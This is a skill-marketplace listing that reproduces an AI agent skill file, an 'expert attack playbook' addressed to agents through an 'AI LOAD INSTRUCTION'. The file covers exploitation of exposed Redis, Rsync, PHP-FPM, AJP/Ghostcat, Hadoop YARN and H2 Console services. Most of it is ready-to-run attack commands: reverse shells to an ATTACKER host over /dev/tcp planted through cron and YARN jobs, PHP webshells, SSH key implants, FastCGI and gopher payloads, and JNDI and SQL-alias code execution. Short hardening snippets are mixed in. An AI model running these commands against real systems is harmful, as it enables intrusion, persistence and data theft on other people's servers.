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Unauthorized Access Common Services

  • 2.2k installs
  • 1.5k repo stars
  • Updated June 16, 2026
  • yaklang/hack-skills

unauthorized-access-common-services is an agent skill for >-

About

The unauthorized-access-common-services skill documents workflows and patterns from the repository SKILL md name unauthorized-access-common-services description Unauthorized access playbook for common exposed services Use when Redis Rsync PHP-FPM AJP Ghostcat Hadoop YARN H2 Console or similar management interfaces are exposed without authentication SKILL Unauthorized Access to Common Services Expert Attack Playbook AI LOAD INSTRUCTION Expert techniques for exploiting unauthenticated or weakly authenticated management services Covers Redis write-to-RCE Rsync data theft PHP-FPM code execution Ghostcat AJP file read Hadoop YARN job submission and H2 Console JNDI These are infrastructure-level findings distinct from web application vulnerabilities RELATED ROUTING ssrf-server-side-request-forgery ssrf-server-side-request-forgery SKILL md when these services are reachable via SSRF e g SSRF Redis jndi-injection jndi-injection SKILL md when H2 Console or similar accepts JNDI connection strings deserialization-insecure deserialization-insecure SKILL md when RMI Registry or T3 protocol is exposed network-protocol-attacks network-protocol-attacks SKILL md for layer 2 3 attacks during service.

  • SKILL: Unauthorized Access to Common Services - Expert Attack Playbook
  • [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when these services are reachable via S
  • [jndi-injection](../jndi-injection/SKILL.md) when H2 Console or similar accepts JNDI connection strings
  • [deserialization-insecure](../deserialization-insecure/SKILL.md) when RMI Registry or T3 protocol is exposed
  • [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for layer 2/3 attacks during service enumeration

Unauthorized Access Common Services by the numbers

  • 2,158 all-time installs (skills.sh)
  • +116 installs in the week ending Aug 5, 2026 (Skillselion tracking)
  • Ranked #175 of 1,039 Cloud & Infrastructure skills by installs in the Skillselion catalog
  • Security screen: CRITICAL risk (skills.sh audit)
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

unauthorized-access-common-services capabilities & compatibility

Capabilities
skill: unauthorized access to common services · [ssrf server side request forgery](../ssrf serve · [jndi injection](../jndi injection/skill.md) whe · [deserialization insecure](../deserialization in · [network protocol attacks](../network protocol a
Use cases
documentation
From the docs

What unauthorized-access-common-services says it does

--- name: unauthorized-access-common-services description: >- Unauthorized access playbook for common exposed services.
SKILL.md
Use when Redis, Rsync, PHP-FPM, AJP/Ghostcat, Hadoop YARN, H2 Console, or similar management interfaces are exposed without authentication.
SKILL.md
Covers Redis write-to-RCE, Rsync data theft, PHP-FPM code execution, Ghostcat AJP file read, Hadoop YARN job submission, and H2 Console JNDI.
SKILL.md
npx skills add https://github.com/yaklang/hack-skills --skill unauthorized-access-common-services

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Listed on Skillselion
Installs2.2k
repo stars1.5k
Security audit0 / 3 scanners passed
Last updatedJune 16, 2026
Repositoryyaklang/hack-skills

What problem does unauthorized-access-common-services solve for developers using the documented workflows?

>-

Who is it for?

Developers working with unauthorized-access-common-services patterns described in the skill documentation.

Skip if: Skip when docs are empty or the task is outside the skill documented scope.

When should I use this skill?

>-

What you get

Grounded guidance and workflows from SKILL.md for unauthorized-access-common-services.

  • Per-port exploitation command references

By the numbers

  • Covers 20+ common network services
  • Organized by port number in port-service-matrix format

Files

SKILL.mdMarkdownGitHub ↗

SKILL: Unauthorized Access to Common Services — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for exploiting unauthenticated or weakly authenticated management services. Covers Redis write-to-RCE, Rsync data theft, PHP-FPM code execution, Ghostcat AJP file read, Hadoop YARN job submission, and H2 Console JNDI. These are infrastructure-level findings distinct from web application vulnerabilities.

0. RELATED ROUTING

  • ssrf-server-side-request-forgery when these services are reachable via SSRF (e.g., SSRF → Redis)
  • jndi-injection when H2 Console or similar accepts JNDI connection strings
  • deserialization-insecure when RMI Registry or T3 protocol is exposed
  • network-protocol-attacks for layer 2/3 attacks during service enumeration
  • reverse-shell-techniques for shell payloads after gaining command execution

Comprehensive Port Reference

Also load PORT_SERVICE_MATRIX.md when you need:

  • Full exploitation matrix organized by port number (20+ services)
  • Enumeration, brute force, and post-exploitation per service
  • Quick triage during nmap/masscan output analysis

---

1. DISCOVERY — PORT SCANNING

nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET

# Key ports:
# 6379  — Redis
# 873   — Rsync
# 9000  — PHP-FPM (FastCGI)
# 8009  — AJP (Tomcat Ghostcat)
# 8088  — Hadoop YARN ResourceManager
# 8082  — H2 Console (or embedded in Spring Boot)
# 1099  — Java RMI Registry
# 9200  — Elasticsearch
# 5984  — CouchDB
# 2375  — Docker API
# 27017 — MongoDB
# 11211 — Memcached

---

2. REDIS (PORT 6379)

Detection

redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed

redis-cli -h TARGET INFO server
# Returns Redis version, OS, config

Write SSH Authorized Keys

# Generate key pair:
ssh-keygen -t rsa -f redis_rsa

# Write public key to Redis, then dump to authorized_keys:
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save

# Connect:
ssh -i redis_rsa root@TARGET

Write Crontab (Reverse Shell)

redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save

Write Webshell

redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id

Master-Slave Replication RCE

Use redis-rogue-server to exploit master-slave replication for loading malicious .so module:

python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec

Hardening

requirepass STRONG_PASSWORD
bind 127.0.0.1
protected-mode yes
rename-command CONFIG ""
rename-command FLUSHALL ""

---

3. RSYNC (PORT 873)

Detection

rsync TARGET::
# Lists available modules (shares) if anonymous access allowed

rsync -av TARGET::MODULE_NAME /tmp/loot/
# Download entire module contents

Exploitation — Write Crontab

# Create reverse shell cron:
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron

# Upload to target's crontab (if writable module maps to /etc/ or similar):
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor

Hardening

# /etc/rsyncd.conf:
auth users = rsync_user
secrets file = /etc/rsyncd.secrets
list = no
hosts allow = 10.0.0.0/8
read only = yes

---

4. PHP-FPM / FASTCGI (PORT 9000)

Mechanism

PHP-FPM listens for FastCGI requests. If exposed to the network (instead of Unix socket), an attacker can send crafted FastCGI packets to execute arbitrary PHP code.

Exploitation

# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"

# Key parameters in FastCGI request:
# SCRIPT_FILENAME = path to any existing .php file
# PHP_VALUE = "auto_prepend_file = php://input"  (injects POST body as PHP code)
# PHP_ADMIN_VALUE = "allow_url_include = On"

Key FastCGI Environment Variables for Exploitation

SCRIPT_FILENAME = /var/www/html/index.php   # must point to an existing .php file
PHP_VALUE = auto_prepend_file = php://input  # injects POST body as PHP code
PHP_ADMIN_VALUE = allow_url_include = On     # enables remote inclusion

Via SSRF (gopher)

gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Encoded FastCGI packet
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi

Hardening

; php-fpm.conf — bind to socket only:
listen = /var/run/php-fpm.sock
; If TCP required, restrict:
listen.allowed_clients = 127.0.0.1

---

5. GHOSTCAT — AJP (PORT 8009) — CVE-2020-1938

Mechanism

Apache JServ Protocol (AJP) is used between reverse proxy and Tomcat. AJP trusts all incoming data — an attacker connecting directly can set javax.servlet.include.request_uri to read arbitrary files from the webapp directory.

File Read

# Using ajpShooter or similar:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read

# Reads any file within the webapp root:
# /WEB-INF/web.xml          — deployment descriptor
# /WEB-INF/classes/*.class  — compiled Java classes
# /WEB-INF/lib/*.jar        — library JARs

File Include → RCE

If a file upload exists (e.g., uploaded JSP disguised as image), AJP can include it as JSP:

python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed

Hardening

<!-- server.xml — disable AJP or add secret: -->
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>
<!-- Or remove the AJP connector entirely -->

---

6. HADOOP YARN RESOURCEMANAGER (PORT 8088)

Detection

curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI

RCE via Application Submission

# Submit a MapReduce application that executes a command:
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}

curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_xxx_0001",
    "application-name": "test",
    "am-container-spec": {
      "commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
    },
    "application-type": "YARN"
  }'

Hardening

Enable Kerberos authentication; restrict network access to management ports.

---

7. H2 DATABASE CONSOLE

Detection

H2 Console is often enabled in Spring Boot apps via:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

Access: http://TARGET:PORT/h2-console

JNDI Injection via Connection String

In the H2 Console login form, the JDBC URL field accepts JNDI.

BeanFactory + EL bypass (works on Java 8u252+):

# JDBC URL in login form:
javax.naming.InitialContext

# LDAP response attributes:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

Also see jndi-injection for the full JNDI/BeanFactory exploitation flow.

RCE via RUNSCRIPT

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');

---

8. QUICK REFERENCE

# Redis — check auth:
redis-cli -h TARGET ping

# Redis — write webshell:
SET x "<?php system($_GET['c']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE

# Rsync — list modules:
rsync TARGET::

# Ghostcat — read web.xml:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read

# YARN — submit RCE job:
curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application

# H2 — RCE via alias:
CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');

---

9. REVERSE PROXY MISCONFIGURATION

Nginx Off-By-Slash Path Traversal

# Vulnerable configuration:
location /static {
    alias /var/www/static/;
}
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal

# Fix: location /static/ (with trailing slash matching alias)

Nginx Missing Root Location

# If no root location defined and alias is used:
# Attacker may access nginx.conf or other server files
GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1

X-Forwarded-For / X-Real-IP Trust

# If backend trusts these headers for IP-based auth:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

# May bypass IP whitelist for admin panels

Caddy Template Injection

# Caddy with templates enabled:
# If user input reaches Caddy template rendering:
{{.Req.Host}}          → Information disclosure
{{readFile "/etc/passwd"}}  → Local file read via Go template
# This is essentially a Go template injection through proxy config

Useful Tools

  • yandex/gixy — Nginx configuration analyzer
  • Raelize/Kyubi — Reverse proxy misconfiguration scanner
  • GerbenJavado/bypass-url-parser — URL parser confusion tester

Related skills

How it compares

Use unauthorized-access-common-services for quick per-port command lookup during live enumeration, not for writing secure application authentication code.

FAQ

Who is Unauthorized Access Common Services for?

Developers and software engineers working with unauthorized-access-common-services patterns from the skill documentation.

When should I use Unauthorized Access Common Services?

>-

Is Unauthorized Access Common Services safe to install?

Review the Security Audits panel on this page before installing in production.

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